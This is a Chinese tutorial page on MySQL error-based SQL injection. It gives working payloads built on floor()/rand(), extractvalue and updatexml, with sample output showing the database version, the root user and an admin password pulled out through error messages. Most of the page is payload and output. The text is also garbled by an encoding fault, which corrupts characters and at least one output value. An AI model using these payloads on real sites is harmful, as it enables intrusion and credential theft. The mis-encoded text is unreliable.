1、通過(guò)floor報(bào)錯(cuò) 可以通過(guò)如下一些利用代碼 and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a); and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2))); 舉例如下: 首先進(jìn)行正常查詢(xún): mysql> select * from article where id = 1; +—-+——-+———+ | id | title | content | +—-+——-+———+ | 1 | test | do it | +—-+——-+———+ 假如id輸入存在注入的話,可以通過(guò)如下語(yǔ)句進(jìn)行報(bào)錯(cuò)。 mysql> select * from article where id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a); ERROR 1062 (23000): Duplicate entry ‘5.1.33-community-log1’ for key ‘group_key’ 可以看到成功爆出了Mysql的版本,如果需要查詢(xún)其他數(shù)據(jù),可以通過(guò)修改version()所在位置語(yǔ)句進(jìn)行查詢(xún)。 例如我們需要查詢(xún)管理員用戶(hù)名和密碼: Method1: mysql> select * from article where id = 1 and (select 1 from (select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x from information_schema.tables group by x)a); ERROR 1062 (23000): Duplicate entry ‘a(chǎn)dmin8881’ for key ‘group_key’ Method2: mysql> select * from article where id = 1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),floor(rand(0)*2))); ERROR 1062 (23000): Duplicate entry ‘a(chǎn)dmin8881’ for key ‘group_key’ 2、ExtractValue 測(cè)試語(yǔ)句如下 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1))); 實(shí)際測(cè)試過(guò)程 mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));– ERROR 1105 (HY000): XPATH syntax error: ‘\admin888’ 3、UpdateXml 測(cè)試語(yǔ)句 and 1=(updatexml(1,concat(0x3a,(select user())),1)) 實(shí)際測(cè)試過(guò)程 mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ‘:root@localhost’ |
免責(zé)聲明:本站部分文章和圖片均來(lái)自用戶(hù)投稿和網(wǎng)絡(luò)收集,旨在傳播知識(shí),文章和圖片版權(quán)歸原作者及原出處所有,僅供學(xué)習(xí)與參考,請(qǐng)勿用于商業(yè)用途,如果損害了您的權(quán)利,請(qǐng)聯(lián)系我們及時(shí)修正或刪除。謝謝!
始終以前瞻性的眼光聚焦站長(zhǎng)、創(chuàng)業(yè)、互聯(lián)網(wǎng)等領(lǐng)域,為您提供最新最全的互聯(lián)網(wǎng)資訊,幫助站長(zhǎng)轉(zhuǎn)型升級(jí),為互聯(lián)網(wǎng)創(chuàng)業(yè)者提供更加優(yōu)質(zhì)的創(chuàng)業(yè)信息和品牌營(yíng)銷(xiāo)服務(wù),與站長(zhǎng)一起進(jìn)步!讓互聯(lián)網(wǎng)創(chuàng)業(yè)者不再孤獨(dú)!
掃一掃,關(guān)注站長(zhǎng)網(wǎng)微信